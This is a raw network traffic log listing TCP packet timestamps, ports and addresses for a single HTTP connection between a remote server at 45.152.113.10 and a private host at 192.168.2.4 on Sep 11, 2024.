Sep 11, 2024 22:52:06.727757931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727792025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727793932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727830887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727838993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813572884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813621998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813647032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813654900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813679934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813687086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813707113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813720942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813749075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813767910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813769102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813802004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813827038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813832998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813857079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813864946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813879013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813896894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813916922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813930035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813955069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813962936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.813975096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.813994884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814016104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814027071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814050913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814060926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814094067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814094067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814111948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814146996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814259052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814306974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814315081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814340115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814363956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814372063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814398050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814404011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814424992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814435959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814461946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814469099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814483881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814501047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814522028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814532042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814558029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814559937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814590931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814604998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814604998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814624071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814647913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814655066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814672947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814742088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814762115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814774036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814805031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814805984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814824104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814838886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814860106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814872026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814888954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814904928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.814944029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.814965010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815561056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815618992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815669060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815701008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815726042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815736055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815759897 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815768957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815784931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815815926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815819979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815853119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815876007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815886974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815911055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815918922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815939903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.815953016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.815973997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816001892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816011906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816051006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816051960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816082001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816102982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816113949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816138029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816145897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816160917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816179037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816201925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816210032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816226959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816241980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816272020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816278934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816297054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816303968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816329956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816338062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816370964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816380978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816401958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816402912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816420078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816435099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816457033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816469908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816497087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816526890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816576004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816606998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816631079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816642046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816659927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816673994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816696882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816705942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816735029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816739082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816754103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816772938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816795111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816804886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816827059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816837072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816868067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816885948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816885948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816900015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816917896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816931963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816946983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816963911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.816993952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.816996098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817017078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817028046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817053080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817061901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817075014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817115068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817202091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817230940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817262888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817270994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817270994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817312956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817321062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817343950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817369938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817377090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817397118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817409039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817440987 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817473888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817506075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817522049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817538977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817543030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817570925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817578077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817603111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817604065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817627907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817641020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817672014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817687988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817687988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817703009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817717075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817734957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817750931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817792892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817801952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817832947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817857027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817864895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817882061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817897081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817923069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817929983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817946911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817961931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.817986012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.817994118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818025112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818036079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818057060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818061113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818079948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818089008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818109035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818120956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818145037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818154097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818178892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818186998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818207979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818217993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818228960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818249941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818274975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818283081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818298101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818314075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818336010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818347931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.818376064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.818396091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.901663065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901699066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901731014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901791096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901823044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901854038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901907921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901942968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.901942968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.901957035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.901983023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.901989937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902018070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902020931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902053118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902084112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902115107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902148008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902179956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902210951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902226925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902226925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902226925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902226925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902226925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902242899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902271032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902271986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902276039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902307034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902338028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902395010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902443886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902477026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902488947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902488947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902489901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902489901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902489901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902489901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902508020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902537107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902537107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902540922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902573109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902604103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902636051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902667046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902729034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902765036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902796030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902832985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902863026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902869940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902893066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902925014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902925968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902957916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.902965069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902986050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.902986050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903012037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903033018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903034925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903083086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903095007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903115034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903142929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903147936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903171062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903187990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903211117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903234959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903237104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903270006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903292894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903301954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903328896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903348923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903353930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903379917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903429985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903435946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903435946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903464079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903489113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903493881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903512001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903527021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903552055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903558969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903584003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903592110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903614044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903625011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903656960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903661966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903686047 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903688908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.903708935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.903724909 CEST	80	49733	45.152.113.10	192.168.2.4
